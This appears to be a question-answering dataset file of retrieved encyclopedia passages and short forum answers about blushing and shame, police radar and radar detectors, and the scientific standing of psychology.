apology or appeasement function originated with Goffman who argued the embarrassed individual \"demonstrates that he/she is at least disturbed by the fact and may prove worthy at another time\". Semin and Manstead demonstrated social functions of embarrassment whereby the perpetrator of knocking over a sales display (the \"bad act\") was deemed more likable by others if he/she appeared embarrassed than if he/she appeared unconcerned – regardless", "Signs and symptoms Blushing is a physiological response unique to humans and is a hallmark physiological response associated with social anxiety. Blushing is the involuntary reddening of the face, neck, and chest in reaction to evaluation or social attention. Blushing occurs not only in response to feelings of embarrassment but also other socially-oriented emotions such as shame, guilt, shyness, and pride. Individuals high in social anxiety perceive themselves as blushing more than those who are low in social anxiety. Three types of blushing can be measured: self-perceived blushing (how much the individual believes they are blushing), physiological blushing (blushing", "Idiopathic craniofacial erythema Idiopathic craniofacial erythema is a medical condition characterised by severe, uncontrollable, and frequently unprovoked, facial blushing.\nBlushing can occur at any time and is frequently triggered by even mundane events, such as, talking to friends, paying for goods in a shop, asking for directions or even simply making eye contact with another person.\nFor many years, the cause of the condition was thought to be an anxiety problem, caused by a mental health disorder. However, in recent years experts in the field of the disorder believe it to be caused by an overactive sympathetic nervous system, an automatic response", "ashamed or embarrassed, that we recognise that something is out of place. It shows that we are sorry about this. It shows that we want to put things right. To blush at innuendo is to show awareness of its implications and to display modesty that conveys that you are not brazen or shameless. The blush makes a particularly effective signal because it is involuntary and uncontrollable. Of course, a blush can be unwanted [but the] costs to the blusher on specific occasions are outweighed by the long-term benefits of being seen as adhering to the group and by the general", "Health-related embarrassment Features The source of this embarrassment or its range can vary from person to person. For some the embarrassment heightens when confronted by specific characteristics, such as a doctor of the opposite sex, while for others, the scope of their embarrassment may be exhaustive regardless of the social or peer group dynamics. For others, the embarrassment factor may be overarching, especially when at a disadvantaged socioeconomic situation, for example one who needs financial assistance to obtain medical help. In these scenarios the embarrassment may be duplicated due to a possible scenario wherein they are to be examined by", "Red dress effect The red dress effect is a putative phenomenon in which people wearing red clothing, such as a red dress, are perceived to be more sexually appealing than they are when wearing other colours. In primates, a visual indicator of female fertility occurs by way of swelling during the follicular phase and is correlated with increased estrogen levels. It has been asserted that this effect acts subconsciously because participants rarely report that they used color in their attractiveness judgments. However, only one study has tested whether conscious awareness matters, with its findings casting doubt on this earlier", "also seen as complaining, within professional settings because of the fear of being judged. Mental and emotional consequences Because of the angry Black woman stereotype, Black women tend to become desensitized about their own feelings to avoid judgment. They often feel that they must show no emotion outside of their comfortable spaces. This results in the accumulation of these feelings of hurt, and can be projected on loved ones as anger. Once seen as angry, Black women are always seen in that light, and consequently have their opinions, aspirations, and values dismissed. The repression of these feelings can also result", "This means, once people are mad they often go back and rethink the persons roll in the situation. You go back and think wondering if you made the mistake or if the other person did or if it could have been prevented. The results showed that shame and anger are mixed in Cognitive Reappraisals or Anger-Eliciting Situations. Shame was unrelated to reappraisals, except it was found in college students. The last cluster of variables is the Projected Long-Term Consequences of Everyday Episodes of Anger. Participants were asked to think about an event and how they would respond to it and", "of restitution behaviour (rebuilding the display). The capacity to experience embarrassment can also be seen as functional for the group or culture. It has been demonstrated that those who are not prone to embarrassment are more likely to engage in antisocial behaviour – for example, adolescent boys who displayed more embarrassment were found less likely to engage in aggressive/delinquent behaviours. Similarly, embarrassment exhibited by boys more likely to engage in aggressive/delinquent behaviour was less than one-third of that exhibited by non-aggressive boys. Thus proneness to embarrassment (i.e., a concern for how one is evaluated by others) can act as a", "becomes avoidant, retaliated, and blaming. In redirecting anger outside the self, shamed individuals may be attempting to regain a sense of agency and control which is so often impaired in the shame experience, so they looked at possibilities of how anger and shame go hand in hand. Once angered, people often feel ashamed of being angry, the experience of shame itself fosters feelings of other-directed anger and hostility, and the acute pain of shame can lead to a sense of ‘humiliated fury' directly toward the self and toward a real or imagined disapproving other. Negative affect fosters feelings of anger", "red instead of blue, because red is a physiological stimulation, and the opposite people seek for a low stimulation. The OSL is a moderating variable in this case. Thus, the suitable hypotheses assume that persons have OSL level will experience more happiness from an advertisement whose primary color brings a physiological stimulus, meaning that it should have a red hue and also is bright and saturated.\nHypothesis 1: People who have high OSL will experience more happiness in advertising whose primary color is 1.red hue, 2.saturated, and 3.bright.\nHypothesis 2: People who have high OSL tend to be drawn by advertising whose", "participated in the study claimed they didn’t seek help because they were embarrassed or thought it was a normal condition.", "act known only to oneself but in order to be embarrassed one's actions must be revealed to others. Therefore shame can only be experienced in private and embarrassment can never be experienced in private. In the field of ethics (moral psychology, in particular), however, there is debate as to whether or not shame is a heteronomous emotion, i.e. whether or not shame does involve recognition on the part of the ashamed that they have been judged negatively by others. This is a mature heteronomous type of shame where the agent does not judge herself negatively, but, due to the negative", "judgments of others, suspects that she may deserve negative judgment, and feel shame on this basis. Therefore, shame may carry the connotation of a response to something that is morally wrong whereas embarrassment is the response to something that is morally neutral but socially unacceptable. The Shame, Guilt and Anger Study The manner in which children, adolescents, and adults manage and express their feelings of anger has caught the attention of June Price Tangney and her colleagues. They looked into previous studies that had been performed prior to the creation of their own report. While looking at studies done of", "when shame is not acknowledged, but instead negated and repressed, it becomes rage, and rage may drive to aggressive and shaming actions that feed-back negatively on this self-destructive situation. The social management of emotions might be the fundamental dynamics of social cooperation and conflict around resources, complexity, conflict and moral life. It is well-established sociological fact that expression and feeling of the emotion of anger, for example, is strongly discouraged (repressed) in girls and women in many cultures, while fear is discouraged in boys and men. Some cultures and sub-cultures encourage or discourage happiness, sadness, jealousy, excitedness, and many other", "when passing a group of people. Blushing is commonly exhibited by individuals suffering from social phobia. These visible symptoms further reinforce the anxiety in the presence of others. A 2006 study found that the area of the brain called the amygdala, part of the limbic system, is hyperactive when patients are shown threatening faces or confronted with frightening situations.\nThey found that patients with more severe social phobia showed a correlation with the increased response in the amygdala. Comorbidity SAD shows a high degree of co-occurrence with other psychiatric disorders. In fact, a population-based study found that 66% of those with", "explanations, the equation of being looked at with a feeling of being criticized or despised reveals shame as a motivating force behind scopophobia. In the self-consciousness of adolescence, with its increasing awareness of the Other as constitutive of the looking glass self, shame may exacerbate feelings of erythrophobia and scopophobia. Symptoms and effects Individuals with scopophobia generally exhibit symptoms in social situations when attention is brought upon them like public speaking. Several other triggers exist to cause social anxiety. Some examples include: Being introduced to new people, being teased and/or criticized, embarrassing easily, and even answering a cell phone call", "paleness due to fear. It has been argued that detecting flushing may have influenced the development of primate trichromate vision. Primate studies have found that some species evaluate rivals and possible mates depending on red color characteristics. Facial redness is associated with testosterone levels in humans, and male skin tends to be redder than female skin. Color and time perception Recent results showed that the perceived duration of a red screen was longer than was that of a blue screen. The results reflected sex differences; men, but not women, overestimated the duration of the red screen. Additionally, the reaction times", "self as inadequate. People employ negative coping responses to counter deep rooted, associated sense of \"shameworthiness\". The shame cognition may occur as a result of the experience of shame affect or, more generally, in any situation of embarrassment, dishonor, disgrace, inadequacy, humiliation, or chagrin. Identification Nineteenth-century scientist Charles Darwin described shame affect in the physical form of blushing, confusion of mind, downward cast eyes, slack posture, and lowered head; Darwin noted these observations of shame affect in human populations worldwide, as mentioned in his book \"The Expression of the Emotions in Man and Animals\". Darwin also mentions how the sense", "out. She sees the note & starts shaking. She leaves us & bursts into typical white tears (like why are you crying when all we’ve done is make a kind request? lol!). Anyways, so this white woman goes to her colleagues who are furious. She exits to cry at the back & a white male colleague of hers reluctantly comes out to address us & to annoy us more with his own white tears telling us that he finds our act \"racist\".\nHis actions were widely criticised, including in South Africa where they were described as hypocritical and racist and not", "college students, shame was not experienced alone. Anger arousal, suspiciousness, resentment, irritability, a tendency to blame others for negative events, and indirect expressions of hostility were all experienced with the emotion of shame. College students were more likely to report a desire to punish others, as well as a desire to hide, when rating personal shame versus guilt experiences and that is when these other emotions increase feelings of shame.\nTangney et al. found that shame is painful, exposing, disapproving, self-directed, and causes forms of defense towards others. These characteristics are extreme, but shame enters a new level when one's behavior", "may be considered an early sign of rosacea. Idiopathic craniofacial erythema is a medical condition where a person blushes strongly with little or no provocation. Just about any situation can bring on intense blushing and it may take one or two minutes for the blush to disappear. Severe blushing can make it difficult for the person to feel comfortable in either social or professional situations. People who have social phobia are particularly prone to idiopathic craniofacial erythema. Psychological treatments and medication can help control blushing.\nSome people are very sensitive to emotional stress. Given a stimulus such as embarrassment, the person's", "humors from the brain. William James thought of emotions as reflexes prior to rational thought, believing that the physiological response, as if to stress or irritation, is a precondition to cognitively becoming aware of emotions such as fear or anger.\nWilliam H. Frey II, a biochemist at the University of Minnesota, proposed that people feel \"better\" after crying due to the elimination of hormones associated with stress, specifically adrenocorticotropic hormone. This, paired with increased mucosal secretion during crying, could lead to a theory that crying is a mechanism developed in humans to dispose of this stress hormone when levels grow too" ]

[ "They can only detect the signal when it's on, which quite often means when it's too late.\n\nRadar detectors are good, the radar is quite a large beam so the scanner can easily detect it. A laser speed trap is an accurate narrow beam, so it's possible for the beam to hit a part of the car other than where the laser detector is, if this happens there'll be no warning for you.", "They work great at detecting radar. Which police use to detect your speed. If the officer didn't turn it on, then there's nothing to detect.\n\nBut cops are now equipped POP radar. Which keeps the radar turned off and turns it on breiflyand finds your speed before you can even react to the radar." ]

[ "of ultra-short pulses, reusing wide beams for multi-target measurement, which renders most detectors useless. But, mobile Internet allows GPS navigation devices to map police radar locations in real-time. These devices are also often called \"radar detectors\", while not necessary carrying an RF sensor. Counter technology Radar guns and detectors have evolved alternately over time to counter each other's technology in a form of civilian electronic \"warfare\". For example, as new frequencies have been introduced, radar detectors have initially been \"blind\" to them until their technology, too, has been updated. Similarly, the length of time and strength of the transmissions", "and other sensors.\nOther systems similar to radar make use of other parts of the electromagnetic spectrum. One example is LIDAR, which uses predominantly infrared light from lasers rather than radio waves. With the emergence of driverless vehicles, radar is expected to assist the automated platform to monitor its environment, thus preventing unwanted incidents. First experiments As early as 1886, German physicist Heinrich Hertz showed that radio waves could be reflected from solid objects. In 1895, Alexander Popov, a physics instructor at the Imperial Russian Navy school in Kronstadt, developed an apparatus using a coherer tube for detecting distant lightning strikes.", "require an optical-band sensor, although many modern detectors include LIDAR sensors. Most of today's radar detectors detect signals across a variety of wavelength bands: usually X, K, and Kₐ. In Europe the Kᵤ band is common as well. The past success of radar detectors was based on the fact that radio-wave beam can not be narrow-enough, so the detector usually senses stray and scattered radiation, giving the driver time to slow down. Based on a focused laser-beam, LIDAR technology does not suffer this shortcoming; however it requires precise aiming. Modern police radars incorporate formidable computing power, producing a minimum number", "a few will be noted. Radar gun The most widespread radar device today is undoubtedly the radar gun. This is a small, usually hand-held, Doppler radar that is used to detect the speed of objects, especially trucks and automobiles in regulating traffic, as well as pitched baseballs, runners, or other moving objects in sports. This device can also be used to measure the surface speed of water and continuously manufactured materials. A radar gun does not return information regarding the object's position; it uses the Doppler effect to measure the speed of a target. First developed in 1954, most radar", "radar may detect a target and roughly locate it, but not provide enough information to identify it, target it with weapons, or even to guide a fighter to it. Multiple emitters Much of the stealth comes in directions different than a direct return. Thus, detection can be better achieved if emitters are separate from receivers. One emitter separate from one receiver is termed bistatic radar; one or more emitters separate from more than one receiver is termed multistatic radar. Proposals exist to use reflections from emitters such as civilian radio transmitters, including cellular telephone radio towers. Moore's law By Moore's", "have been lowered to reduce the chance of detection, which in turn has resulted in more sensitive receivers and more sophisticated software counter technology. Lastly, radar detectors may combine other technologies, such as GPS-based technology with a point of interest database of known speed trapping locations, into a single device to improve their chances of success. Radar detector detectors The superheterodyne receiver in radar detectors has a local oscillator that radiates slightly, so it is possible to build a radar-detector detector, which detects such emissions (usually the frequency of the radar type being detected, plus about 10 MHz). The VG-2", "needing the operator to expose himself to any danger. The operation can also be remotely controlled for networked radars.\nIn scanning mode, the radar can scan around a specified sector looking for any moving objects. It is also capable of \"Track-while-Scan\" (TWS) operation, and can track 50 targets in TWS acquisition mode. The speed of scan can also be adjusted by adjusting the speed of the antenna's rotation to either a low, medium or high rotational speed.\nIf a target is found, the operator can choose to track that target in the dedicated tracking mode. The Doppler return from the target is", "being sold.\nCurrent units combine five operations; speed detection; operator viewing, even under adverse conditions; imaging synchronised with speed detection; acquisition of court ready evidence; downloading of evidence to an external device. They can operate in automatic mode either attended or unattended. Advantages of lidar over radar Radar has wide signal beam divergence, so that an individual vehicle cannot be targeted, requiring significant operator skill, training and certification in order to visually estimate speed so as to locate an offender in a traffic stream, and offenders may use the defence that some other vehicle was offending. Radar will register the speed", "to detect and track incoming artillery rounds, mortar and rockets and locate their launchers. In its secondary role, it can also track and observe the fall of shot from friendly guns and provide fire corrections to counter-battery fire.\nThe detection range for large caliber artillery rounds is up to 30 km, and increases to 40 km for unguided rockets. The robust design of the radar array and algorithms allows the WLR to effectively operate even in a high density fire environment, in severe clutter and interference (jamming) conditions. Up to 7 targets can be tracked simultaneously. The radar can track rounds fired at", "from bistatic radars and low-frequency radars are said to have the capabilities to detect stealth aircraft. Advanced forms of thermographic cameras such as those that incorporate QWIPs would be able to optically see a Stealth aircraft regardless of the aircraft's Radar Cross-Section (RCS). In addition, Side looking radars, High-powered optical satellites, and sky-scanning, high-aperture, high sensitivity radars such as radio telescopes, would all be able to narrow down the location of a stealth aircraft under certain parameters. The newest SAMs have a claimed ability to be able to detect and engage stealth targets, with the most notable being the Russian", "comparison with military radar intended to track air vehicles.\nThe alternate purpose is \"look-down/shoot-down\" capability required to improve military air combat survivability. Pulse-Doppler is also used for ground based surveillance radar required to defend personnel and vehicles. Pulse-Doppler signal processing increases the maximum detection distance using less radiation in close proximity to aircraft pilots, shipboard personnel, infantry, and artillery. Reflections from terrain, water, and weather produce signals much larger than aircraft and missiles, which allows fast moving vehicles to hide using nap-of-the-earth flying techniques and stealth technology to avoid detection until an attack vehicle is too close to destroy. Pulse-Doppler signal", "as it moves about. These radars are normally used in conjunction with wide-scanning early warning radar systems, although in modern systems the two functions can be combined. When a target is detected, some radars had the ability to \"lock on\", and track the target automatically.\nBeam riding systems can be easily adapted to work with such a system. By placing receiver antennas on the rear of the missile, the onboard electronics can compare the strength of the signal from different points on the missile body and use this to create a control signal to steer it back into the center of", "was designed to detect a \"target\" with radar, and then use video cameras to determine whether the radar return came from a person or vehicle, or from some benign source (such as an animal). The GAO reported that radar information was too slow to appear on screens, and was being inappropriately triggered by rain and other weather phenomena. Camera resolution was insufficient for targets beyond 3.1 miles, and the stylus-controlled laptops mounted on moving vehicles were not rugged enough and were difficult to use. These findings were against the prototype system known as \"Project 28\". They", "radars operate on a pseudorandom set of frequencies and also have very short scanning rates, which makes them difficult to detect and jam. Up to 100 targets can be tracked simultaneously to a range of 200 nmi (370 km), while at the same time, over a dozen air-to-air interception or air-to-ground attack can be guided. The radar can be mounted on the an aircraft's fuselage or on the top inside a small dome. Either position gives the radar 360 degree coverage. The phased array radar allows positions of aircraft on operator screens to be updated every 2–4 seconds,", "(CW) doppler radar detectors are basically heterodyne detection devices that compare transmitted and reflected beams.\nOptical heterodyne detection is used for coherent Doppler lidar measurements capable of detecting very weak light scattered in the atmosphere and monitoring wind speeds with high accuracy. It has application in optical fiber communications, in various high resolution spectroscopic techniques, and the self-heterodyne method can be used to measure the linewidth of a laser.\nOptical heterodyne detection is an essential technique used in high-accuracy measurements of the frequencies of optical sources, as well as in the stabilization of their frequencies. Until a relatively few years ago, lengthy", "which allows for the detection of either high-speed targets or high-resolution velocity measurements. Normally it is one or the other; a radar designed for detecting targets from zero to Mach 2 does not have a high resolution in speed, while a radar designed for high-resolution velocity measurements does not have a wide range of speeds. Weather radars are high-resolution velocity radars, while air defense radars have a large range of velocity detection, but the accuracy in velocity is in the tens of knots.\nAntenna designs for the CW and FM-CW started out as separate transmit and receive antennas before the advent", "other hand, emits energy in order to scan objects and areas whereupon a sensor then detects and measures the radiation that is reflected or backscattered from the target. RADAR and LiDAR are examples of active remote sensing where the time delay between emission and return is measured, establishing the location, speed and direction of an object.\nRemote sensing makes it possible to collect data of dangerous or inaccessible areas. Remote sensing applications include monitoring deforestation in areas such as the Amazon Basin, glacial features in Arctic and Antarctic regions, and depth sounding of coastal and ocean depths. Military collection during the", "visually estimate target speeds to within +/-2 mph, so that, for example if there are seven targets in the radar's field of view and the operator is able to visually estimate the speed of six of those targets as approximately 40 mph and visually estimate the speed of one of those targets as approximately 55 mph and the radar unit is displaying a reading of 56 mph it becomes clear which target's speed the unit is measuring. Size The primary limitation of hand held and mobile radar devices is size. An antenna diameter of less than several feet limits directionality, which can only partly", "multiple Blighter radars can coordinate in ad-hoc networks and sequence their radar emissions to form border surveillance over very long lines of control ('Blighter MultiWatch'). MSTAR Man-portable Surveillance and Target Acquisition Radar (MSTAR) provides long-range, wide-area surveillance and detection in an over-watch capability. The weight is about 30 kg. SpotterRF SpotterRF Compact Surveillance Radar (SpotterRF) is a new class of surveillance radar called Compact Surveillance Radar that provides range and azimuth measurements of moving objects. It tracks moving people and vehicles from 500 to 1500 meters away in a small, lightweight package. Different variants of the system range from 3 to", "target to home in on. This requires the radar to be locked on in order to provide a steady guidance signal. The drawback is that once the radar is set to tracking a single target, the operator loses information about any other targets. This is the problem that track while scan is meant to address.\nIn traditional radar systems, the display is purely electrical; signals from the radar dish are amplified and sent directly to an oscilloscope for display. There is a one-to-one correspondence between \"blips\" on the display and a radio signal being received from the antenna. When the antenna", "targets detected by the radar. Operation The BFSR has been designed for fast deployment, with a setup time of less than 5 minutes. The radar has an inbuilt GPS for self location and alignment with the digital map. It also has a built-in digital magnetic compass which can automatically align the radar to the North. This ensures that the precise location of targets is measured. Modes of operation The radar can be operated in various modes - Surveillance/Scanning (\"Search\"), acquisition, tracking/classification mode. The radar can also be operated manually, or put into an automated \"Standby\" mode. BFSR also has integrated", "SLC-2 Radar The SLC-2 Radar is a Chinese active electronically scanned array counter-battery radar designed to locate hostile artillery, rocket and ground-to-ground missile launchers immediately after firing, and to support friendly artillery by guiding counter-battery fire.\nSLC-2 radar can also be applied in adjusting firing of friendly weapons or rockets. With slight modification to software parameters the radar can also be used to detect and track low flying targets such as light aircraft, helicopters and RPVs.\nSLC-2 systems have sometimes been mounted on a Dongfang EQ2102 3.5 ton truck. Development Four AN/TPQ-37 Firefinder radar were sold to China, and these became the", "Radar engineering details Radar engineering details are technical details pertaining to the components of a radar and their ability to detect the return energy from moving scatterers — determining an object's position or obstruction in the environment. This includes field of view in terms of solid angle and maximum unambiguous range and velocity, as well as angular, range and velocity resolution. Radar sensors are classified by application, architecture, radar mode, platform, and propagation window.\nApplications of radar include adaptive cruise control, autonomous landing guidance, radar altimeter, air traffic management, early-warning radar, fire-control radar, forward warning collision sensing, ground penetrating radar, surveillance,", "of enemy radar users; it can also differentiate between search radar, tracking radar, and missile-homing radar.\nFeatured in the sensor suite was the AN/ALR-23, an Infra-red search and track sensor using indium antimonide detectors, mounted under the nose; however this was replaced by an optical system, Northrop's AAX-1, also designated TCS (TV Camera Set). The AAX-1 helps pilots visually identify and track aircraft, up to a range of 60 miles (97 km) for large aircraft. The radar and the AAX-1 are linked, allowing the one detector to follow the direction of the other. A dual infrared/optical detection system was adopted on the", "receiver. Military aircraft and ships have defensive receivers, called radar warning receivers (RWR), which detect when an enemy radar beam is on them, thus revealing the position of the enemy. Unlike the radar unit, which must send the pulse out and then receive its reflection, the target's receiver does not need the reflection and thus the signal drops off only as the square of distance. This means that the receiver is always at an advantage [neglecting disparity in antenna size] over the radar in terms of range - it will always be able to detect the signal long before", "(radio detection and ranging). The uses of radar are diverse and applied to military, civilian and space exploration. Radar is based on the reflection or scatter of pulsed radiofrequency waves emitted from a transmitter which are then detected by an antenna which then determines the range, speed, and direction of objects. In most uses the transmitter and detector are located at the same location. Radio frequencies used with radar are from 3 megahertz (MHz) to 300  gigahertz (GHz) depending on the type and application. Therapeutic uses Pulsed radiofrequency fields are an emerging technology used in the medical field for the treatment", "and stealth are common tactics used to hide aircraft from radar. Pulse-Doppler radar eliminates these weaknesses.\nIt became possible to use pulse-Doppler radar on aircraft after digital computers were incorporated in the design. Pulse-Doppler provided look-down/shoot-down capability to support air-to-air missile systems in most modern military aircraft by the mid 1970s. Range measurement Pulse-Doppler systems measure the range to objects by measuring the elapsed time between sending a pulse of radio energy and receiving a reflection of the object. Radio waves travel at the speed of light, so the distance to the object is the elapsed time multiplied by the speed", "the track files from memory, and displays this on the radar as a series of annotated icons. Unlike the straight tracking mode, TWS radars have to solve an additional problem of recognizing whether each target discrimination/detection defines a new target or belongs to already tracked targets.\nWith the location of targets known even when the radar antenna is not pointed at them, TWS radars can return to the same area of sky on their next scan and beam additional energy toward the target. So in spite of the radar not constantly painting the target as it would in a traditional lock-on,", "radar), by sending out a very pure signal of a known frequency. CW radar is ideal for determining the radial component of a target's velocity. CW radar is typically used by traffic enforcement to measure vehicle speed quickly and accurately where range is not important.\nWhen using a pulsed radar, the variation between the phase of successive returns gives the distance the target has moved between pulses, and thus its speed can be calculated.\nOther mathematical developments in radar signal processing include time-frequency analysis (Weyl Heisenberg or wavelet), as well as the chirplet transform which makes use of the change of frequency", "radar can track and engage multiple targets simultaneously and can control the missile firing units at a distance of up to 10 km away from the CCU. The E/LM-2106 ATAR is a fourth generation defence radar designed by Elta and operates in the L-band wavelength. It is a field proven design that has operated in undesirable environments according to the designers and manufacturers. The range of detection for a fighter aircraft is 70–110 km. It can detect hovering helicopters at a range of 40 km and UAVs at 40–60 km. EL/M-2084 MMR The radar sensor unit of the SPYDER-MR comprises the EL/M-2084 Multi Mission" ]

[ "Psychology is not a medical field, it's a social science. Psychiatry is a medical field.\n\nI've never heard of anybody deny the conceptual validity of psychology.", "Two reasons I'd say:\n\n* There is more subjectivity in the diagnosis of psychological disorders than there is for physical illnesses. This leads to a larger number of people who are undiagnosed or incorrectly diagnosed, or diagnosed differently by different doctors.\n* The science of psychiatry is still somewhat hazy. Scientists still don't know a lot about how the brain works. Psychiatric medications, in many cases, are determined to be effective through trials, but the mechanism that makes them effective is relatively unknown.\n\nBetween both of these, it's very easy for people (especially ones without scientific backgrounds) to be skeptical of psychology and psychiatry as sciences." ]

[ "processes and behavior. However, inherent differences that arise when placing psychology in the legal context. Psychology rarely makes absolute statements. Instead, psychologists traffic in the terms like level of confidence, percentages, and significance. Legal matters, on the other hand, look for absolutes: guilty or not guilty. This makes for a sticky union between psychology and the legal system. Some universities operate dual JD/PhD programs focusing on the intersection of these two areas.\nThe Committee on Legal Issues of the American Psychological Association is known to file amicus curae briefs, as applications of psychological knowledge to high-profile court cases.\nA related field, police", "lacking the agreement on overarching theory found in mature sciences such as chemistry and physics. Because some areas of psychology rely on research methods such as surveys and questionnaires, critics asserted that psychology is not an objective science. Skeptics have suggested that personality, thinking, and emotion, cannot be directly measured and are often inferred from subjective self-reports, which may be problematic. Experimental psychologists have devised a variety of ways to indirectly measure these elusive phenomenological entities.\nDivisions still exist within the field, with some psychologists more oriented towards the unique experiences of individual humans, which cannot be understood only as data", "from other parts of the world and claimed, whether explicitly or implicitly, that their theories, concepts, ethical standards, and empirical findings applied to all—or at least most—people around the world. In addition, because they largely ignored books and journals not written in English, American psychology became a largely monocultural and monolinguistic discipline (Draguns, 2001). Consequently, it is a key goal of internationally oriented psychologists both in the US and elsewhere to turn psychology into a more universally and less culturally biased discipline that contributes to human welfare everywhere while strengthening \"world consciouness\" rather than ethnocentric and potentially violent forms of", "Ivan Pavlov and E. L. Thorndike, and its most notable early practitioner was John B. Watson, who proposed that psychology could only become an objective science were it based on observable behavior in test subjects. Methodological behaviorists argued that because mental events are not publicly observable, psychologists should avoid description of mental processes or the mind in their theories. However, B. F. Skinner and other radical behaviorists objected to this approach, arguing that a science of psychology must include the study of internal events. As such, behaviorists at this time did not reject cognition (private behaviors), but simply argued against", "points within a larger population. Critics inside and outside the field have argued that mainstream psychology has become increasingly dominated by a \"cult of empiricism\" which limits the scope of its study by using only methods derived from the physical sciences. Feminist critiques along these lines have argued that claims to scientific objectivity obscure the values and agenda of (historically mostly male) researchers. Jean Grimshaw, for example, argues that mainstream psychological research has advanced a patriarchal agenda through its efforts to control behavior. Biological Psychologists generally consider the organism the basis of the mind, and therefore a vitally related area", "Christian psychology History Religious and science scholars have often clashed over the idea of the two subjects being combined, making Christian psychology no stranger to controversy. Christianity has affected the field of psychology throughout history and has influenced the beliefs and works of famous psychologists. In 17th-century Europe, aspects of psychology were thought to go against Christian teachings. For example important figures such as Descartes, Locke, and Leibniz have delayed or altered their ideas to match culturally acceptable beliefs at the time. This is because the publication of psychological theories that went against Christian teachings often resulted in punishment.\nThe Enlightenment", "and techniques, though he considers some psychology and psychiatry as contrary to the Bible.\nHe has argued that \"True psychology (i.e. \"the study of the soul\") can be done only by Christians, since only Christians have the resources for understanding and transforming the soul. The secular discipline of psychology is based on godless assumptions and evolutionary foundations and is capable of dealing with people only superficially and only on the temporal level... Psychology is no more a science than the atheistic evolutionary theory upon which it is based. Like theistic evolution, Christian psychology is an attempt to harmonize two inherently contradictory", "can and cannot explain in psychology.\nPhilosophy of psychology is a relatively young field, because psychology only became a discipline of its own in the late 1800s. In particular, neurophilosophy has just recently become its own field with the works of Paul Churchland and Patricia Churchland. Philosophy of mind, by contrast, has been a well-established discipline since before psychology was a field of study at all. It is concerned with questions about the very nature of mind, the qualities of experience, and particular issues like the debate between dualism and monism. Another related field is philosophy of language.\nA notable recent development", "that the literature examined that related to applied psychology and social betterment was steadily declining as well. Allport suggests that psychologists were turning to specialized journals not included in his survey and that some welcomed the change while others did not.\nIn conclusion, Allport's address welcomed the change, claiming that psychology should avoid authoritarianism in the field, from becoming a cult that ruled out novel and unexplained phenomenon by \"one-sided tests of method.\"", "by clinical research rules, when such work is \"neither systematic nor generalizable in the scientific sense.\" Alleged practice of psychology without a license Also as cited as harassment of Bailey were legal complaints that Bailey was practicing psychology without a license. The basis for these complaints was that sex-reassignment surgery in the US requires authorization letters from two psychologists, and Bailey had written a second letter, at no charge and upon request, for some individuals Bailey had spoken with while writing the book. American bioethicist Alice Dreger notes that there was no legal basis for this claim, as Bailey received", "fail to consider or address inequalities and power differences and can play a part in the social and moral control of disadvantage, deviance and unrest.\nAn October 2009 editorial in the journal Nature suggests that a large number of clinical psychology practitioners in the United States consider scientific evidence to be \"less important than their personal – that is, subjective – clinical experience.\"", "in the United States. His research is still widely considered a prevailing research interest in legal psychology. It has been thought that in America psychologists have been used as expert witnesses in court testimonies since the early 1920s. Consultation within civil courts was most common, during this time criminal courts rarely consulted with psychologists. Psychologists were not considered medical experts, those who were like, physicians and psychiatrists, in the past were the ones consulted for criminal testimonies. This could be because in criminal cases, the defendant's mental state almost never mattered \"As a general rule, only medical men—that is,", "in ethics.\nThe USA's National Academy of Science supports the view that science and religion are independent.\nScience and religion are based on different aspects of human experience. In science, explanations must be based on evidence drawn from examining the natural world. Scientifically based observations or experiments that conflict with an explanation eventually must lead to modification or even abandonment of that explanation. Religious faith, in contrast, does not depend on empirical evidence, is not necessarily modified in the face of conflicting evidence, and typically involves supernatural forces or entities. Because they are not a part of nature, supernatural entities cannot be", "because it contests customary beliefs about mental development. Because the science is still developing and because there is substantial opportunity for misuse, the legal realm recognizes the need to proceed cautiously. Neurolaw proponents are quickly finding means to apply neuroscience to a variety of different contexts. For example, intellectual property could be better evaluated through neuroscience. Major areas of current research include applications in the courtroom, how neuroscience can and should be used legally, and how the law is created and applied. History Neuroscience and the law have interacted over a long history, but interest spiked in the late 1990s.", "is that it seems likely that less complex mechanisms than religious behavior could achieve such goals. Religion as a by-product Stephen Jay Gould cites religion as an example of an exaptation or spandrel, but he does not himself select a definite trait which he thinks natural selection has actually acted on. He does, however, bring up Freud's suggestion that our large brains, which evolved for other reasons, led to consciousness. The beginning of consciousness forced humans to deal with the concept of personal mortality. Religion may have been one solution to this problem.\nOther researchers have proposed specific psychological", "addition, theories can be extremely resistant to change. As theories compete, and different evidence emerges, prior theories can be extremely difficult to change. This can make it difficult for new theories to gain traction within the field of psychology. This resiliency may in part be due to theories stated in ways that are worded too abstractly, ineffectively, and contradictory at times. One challenge of theoretical psychology is the difficulty to explain consciousness: there are many competing theories revolving around consciousness, and theoretical psychology struggles to fully explain or justify consciousness. Researchers have an extremely difficult time studying it, despite there", "not fall in those factors must be biological, is not a justified assumption. Other critical psychiatrists argue that just because a person's belief is unshaken by one influence does not prove that it would remain unshaken by another. For example, a person whose beliefs are not changed by verbal correction from a psychiatrist, which is how delusion is usually diagnosed, may still change his or her mind when observing empirical evidence, only that psychiatry rarely if ever present patients with such situations. Gaslighting Sometimes a correct belief may be mistaken for a delusion, such as when the belief in question", "after Raymond D. Fowler.\nFox has advocated for the viewpoint that psychology should train its practitioners to think beyond simply treating mental illness. He wrote that professional psychology is \"that profession which is concerned with enhancing the effectiveness of human behavior.\"", "Internationalization and indigenization The critique that psychology is itself biased as a science by its focus on WEIRD subjects coincided with a move toward the internationalization of the history of psychology. This now has two main lines—the way in which psychology has developed as a discipline in different geographical locations and the way in which psychological expertise has changed as it has moved between national contexts. This is often referred to simply as indigenization.", "psychology Efforts to combine counseling, psychotherapy or other scientific or academic endeavors with Christian or other religious perspectives or approaches are sometimes called \"integration\". Integration of academic subjects with theology has a long history in academia and continues in many colleges and universities that have continued their founding religious underpinnings. There are multiple kinds of integration, as it has been defined differently over the years. The way in which Christianity has been integrated with psychology thus far is by considering the ways in which psychology and the Bible agree and not integrating the teachings of psychology that don't agree", "the possibilities and drawbacks of brain imaging relatively well, others may be either too confident in or completely reject the field. Judges must decide on the validity of various neurological evidence so it can enter the courtroom, and juries must not be too willing to place all faith in neuroscience. Due to glorified depictions of forensics labs on popular television shows, brain imaging has faced criticism for having a \"CSI effect\". Society may soon develop a false sense of what is possible with contemporary technologies, and may not understand the value of evidence being presented.\nAmerican professor of law and psychology", "legal issues, although a psychologist cannot answer legal questions. For example, there is no definition of sanity in psychology. Rather, sanity is a legal definition that varies from place to place throughout the world. Therefore, a prime qualification of a forensic psychologist is an intimate understanding of the law, especially criminal law. Health Health psychology is the application of 